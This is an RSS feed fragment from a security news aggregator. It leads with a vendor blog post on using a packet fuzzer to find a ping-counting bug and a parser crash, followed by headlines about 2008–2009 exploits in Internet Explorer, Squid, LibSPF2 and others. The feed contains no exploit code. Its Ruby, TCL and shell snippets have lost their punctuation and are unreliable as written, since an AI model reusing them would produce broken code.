<item><title>StackScrambler and the Tale of a Packet Parsing Bug</title><description>2009-02-21 03:32:20 - BreakingPoint Labs Blog :    A core feature of the BreakingPoint product line is the ability toperform any kind of layer 2-7 testing with a single hardware deviceBreakingPoint's functionality is divided into 7 test components; theseare Bit Blaster for layer 2 ethernet traffic, Routing Robot for layer3 IP traffic, Session Sender for layer 4 TCP and UDP traffic, AppSimfor layer 7 application traffic, Recreate for replaying any capturedlayer 2-7 traffic, Security for malicious traffic, and finally StackScrambler for malformed or fuzzed but benign traffic My previousposts have predominantly focused on testing using the Securitycomponent for testing IPS Today, I want to take a look at using StackScrambler to find bugs in software and devices that inspect packetsStack Scrambler - Making Packet OmelettesStack Scrambler is a component that performs stack integrity checkingfor the Ethernet, IP, TCP, UDP and other stacks of a DUT It isanalogous to the ISIC suite of utilities During a test, StackScrambler sends a stream of mutated packets and includes an ICMP echorequest every 100 packets The ping packets are sent to determine thefunctional state of the target When testing a DUT inline, theBreakingPoint box will send pings out on the client interface andreceive them on the server interface When testing a host in endpointmode we call this 'one arm' testing, if the target is functioningproperly it will respond to our pings with ping response packets Ineither mode, we check to make sure that the number of pings sentequals the number of pings received After the configured testduration, 5 consecutive pings are sent as a final test of the target'sfunctional stateA bug was reported by our excellent QA folks that the number of pingsreported by the component did not match the number actually sentduring a test Troubleshooting this is easy - setup a packet capture,run the test, compare the report with what is seen on the wirePacket Capturing with the BreakingPoint EliteThe BreakingPoint Elite has a really cool feature the previous twoproducts do not: a 2GB packet buffer This packet buffer lets usersexport up to the last 2GB of the most recently-run test The packetbuffer on the Elite is handled by the FPGAs, which have their ownmemory for saving packets that are sent and received This is onefeature I am glad we have in the product, and I know that customersare going to get a ton of use from it Before the Elite, doing packetcaptures either involved using an external host or using a private,development-only feature of our network processor Having the packetbuffer makes test setup much simpler and completely reliable Youdon't have to worry about whether or not your external capture methodcan keep pace with 40Gbits/secIMAGEAccessing the packet buffer in the UIIMAGESelecting ports and packet direction when exporting the packet bufferGathering Data on the BugI setup a 10 minute test using Stack Scrambler, and left all otherparameters at their default After running the test, I exported a pcapfile In my testing, I did not use a DUT, but instead had theBreakingPoint box running in loopback between two interfaces In thistype of setup, the packets seen on Slot 1/Port 0 will be identical tothose on Slot 1/Port 1, so I only exported the packet buffer for theclient port The report for this test run claims 2798 ping packetswere sentIMAGEWireshark display of the packets from Stack ScramblerI opened the 150k-packet capture file in Wireshark Since this was abug about the reported number of ICMP packets, I filtered the list on'icmp' to get to a total of 1554 ICMP packets, so at this point I'vealready verified the reported bug Visually picking out the diagnosticpings is pretty easy - they're a static size, have a static payload, astatic ICMP ID field, and a sequential ICMP sequence number Thediagnostic pings also share source and destination IP addresses Inits default configuration, stack scrambler will send fuzzed pings inaddition to the diagnostic pings, so I need to filter those out using'icmp etet ipsrc==115593' Wireshark now shows 1404 diagnostic pingpackets, definitely less than reported It looks off by about a factorof 2, but not exactly A quick check shows reported_pings =diagnostic_pings - final_pings * 2Enter the PacketFuSo a quick check of a single test shows that it looks like the statsare double counting all the diagnostic pings sent during the test,except the final burst of 5 consecutive pings This sounds like areasonable hypothesis I wanted to run several tests and verify thatthe reported pings were always wrong as predicted by the formulaabove, but I wanted to automate the testing Since Tod Beardsley wroteyet-another pcap library for ruby, I decided I'd put it to use here Iwrote a quick script that parsed the pcap file, counting ping packetsif the ICMP ID matches Stack Scrambler's static value 0xDEAD I reallylike blog posts with code examples, so here's a simplified version ofwhat I came up with using PacketFu: require 'packetfu'filename = ARGV0 || exitcount = 0a = PacketFu::Readf2a:file = filenameaeach do |p|pkt = PacketFu::Parsepif pktis_icmp etet pktpayload0,2=="xdexad"count += 1endendputs "#{count} pings"puts "buggy report should show #{count-5*2} packets"Did I mention PacketFu is pretty awesome It's pretty awesome So, Iwrote a quick TCL script to have the Elite run several tests runningfor a randomized number of seconds, checking the reported pings foreach test The TCL code looks like this:$bps configure -name {TCL Scrambler Pcap}set ch $bps getChassis$ch unreservePort 1 0$ch unreservePort 1 1$ch unreservePort 1 2$ch unreservePort 1 3$ch reservePort 1 0$ch reservePort 1 1set ss $bps createComponent stackscrambler eggs_benedict$ss configure -durationtype seconds -durationvalue exprintrand*30 + 1$ss setDomain client 1 default$ss setDomain server 2 default$bps save -force$bps runset r $ss resultset pingssent $r get pingsSentputs "$pingssent reported pings sent"$ch exportPacketTrace -file scramblerzip 1 0 bothA quick shell script gets the show on the road: for x in 0 1 2 3 4 5 67 8 9 ; doecho Iteration ${x}/scramblertcl bpselite elmo elmounzip scramblerzip  /dev/nullmv Slot1Port0pcap Slot1Port0Iteration${x}pcap/icmprb Slot1Port0Iteration${x}pcapdoneStack Scrambler Brings The BadnessOn the first test iteration, Stack Scrambler runs, and I export mypcap file The ruby script crashes Saywhat The second iterationruns, and that packet capture crashes the ruby script Every packetcapture crashes the ruby script The crashes look like it's PacketFuI modified my ruby script in a couple of ways First, I wrap a rubybeginrescue block around PacketFu's parse call; secondly, I saveoff every packet that causes an exception We'll come back to thePacketFu-Fail in a momentAfter gathering stats from the 10 iterations of Stack Scrambler, Iconclude that my hypothesis was correct Looking at the code, I seethat the diagnostic pings sent during the test are counted as bothsent and received on both test interfaces, instead of being counted assent on the client interface and received on the server interfaceAfter a 2-line fix and a checkin, the Stack Scrambler ping reportingbug was fixedPacketFailOk, so back to PacketFu I went and told TodB that his library wasbroken I looked at the list of exception-causing packets Theyappeared to have at least one thing in common: they were packets withan ethertype field of 0x0800, which is IPv4, but the IP version in theIP header was not 4 I mentioned this finding to Tod, and he'scommitted a fix to PacketFu to address the issueUsing Stack Scrambler and the BreakingPoint Elite might be a littleoverkill for testing a new packet parsing library written in ruby, butthis example shows how easy it is to make assumptions when parsingnetwork traffic What if a similar bug existed in your IPS or routerLately I've been writing a series of posts on the BreakingPoint TCLAPI This is the first time I show examples of new API calls that havebeen added for the BreakingPoint Elite Next time, I'll be discussingsome of the updates in the new API, and how to take advantage of thoseupdates to script testing with the BreakingPoint EliteIMAGE</description><link>http://www.secuobs.com/revue/news/63801.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/63801.shtml</guid></item>
<item><title>Squid  31 5 HTTP Version Number Parsing Denial of Service Exploit</title><description>2009-02-09 22:41:41 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/60097.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/60097.shtml</guid></item>
<item><title>MS Internet Explorer XML Parsing Buffer Overflow Exploit</title><description>2008-12-29 01:02:52 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/46885.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/46885.shtml</guid></item>
<item><title>MS Internet Explorer XML Parsing Buffer Overflow Exploit allinone</title><description>2008-12-15 21:19:37 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/44006.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/44006.shtml</guid></item>
<item><title>MS Internet Explorer XML Parsing Remote Exploit</title><description>2008-12-14 17:54:11 - PornoSecurity :    BugThis was found by someone while it is being exploited in the wildISC claims it is a 0day and it is not patched by the MS decemberbulletin but I can't reproduce the bug on a system patched thismorningInternet Explorer 6 and 7 seems to be vulnerable and I managed toachieve code execution on Windows XP SP3 As usual you can find theexploit here</description><link>http://www.secuobs.com/revue/news/43687.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/43687.shtml</guid></item>
<item><title>IE7 XML parsing zero day exploited in the wild</title><description>2008-12-11 03:53:30 - Zero Day : A couple of hours ago, two working proof of concept exploits for MSInternet Explorer XML Parsing Remote Buffer Overflow were posted atMilw0rm, with international hacking communities quickly catching upand starting to use it The second PoC also works on Vista, inparticular both exploits were tested on Vista SP1, Explorer70600118000, Vista IMAGE</description><link>http://www.secuobs.com/revue/news/42811.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/42811.shtml</guid></item>
<item><title>MS Internet Explorer XML Parsing Buffer Overflow Exploit vista</title><description>2008-12-10 21:48:03 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/42690.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/42690.shtml</guid></item>
<item><title>MS Internet Explorer XML Parsing Remote Buffer Overflow Exploit</title><description>2008-12-10 16:07:35 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/42529.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/42529.shtml</guid></item>
<item><title>libspf2-parsingtxt</title><description>2008-10-23 21:45:51 - Packet Storm Security Exploits : DNS TXT record parsing in LibSPF2 suffers from a memory corruptionvulnerability Heap overflow exploit included for reproductionpurposes</description><link>http://www.secuobs.com/revue/news/31390.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/31390.shtml</guid></item>
<item><title>LibSPF2  128 DNS TXT Record Parsing Bug Heap Overflow PoC</title><description>2008-10-23 05:57:43 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/31262.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/31262.shtml</guid></item>
<item><title>MS Windows GDI Image Parsing Stack Overflow Exploit MS08-021</title><description>2008-04-14 21:03:38 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/18414.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/18414.shtml</guid></item>
<item><title>VLC <= 086e Subtitle Parsing Local Buffer Overflow Exploit</title><description>2008-03-14 15:47:51 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/11273.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/11273.shtml</guid></item>

 </channel>
</rss>
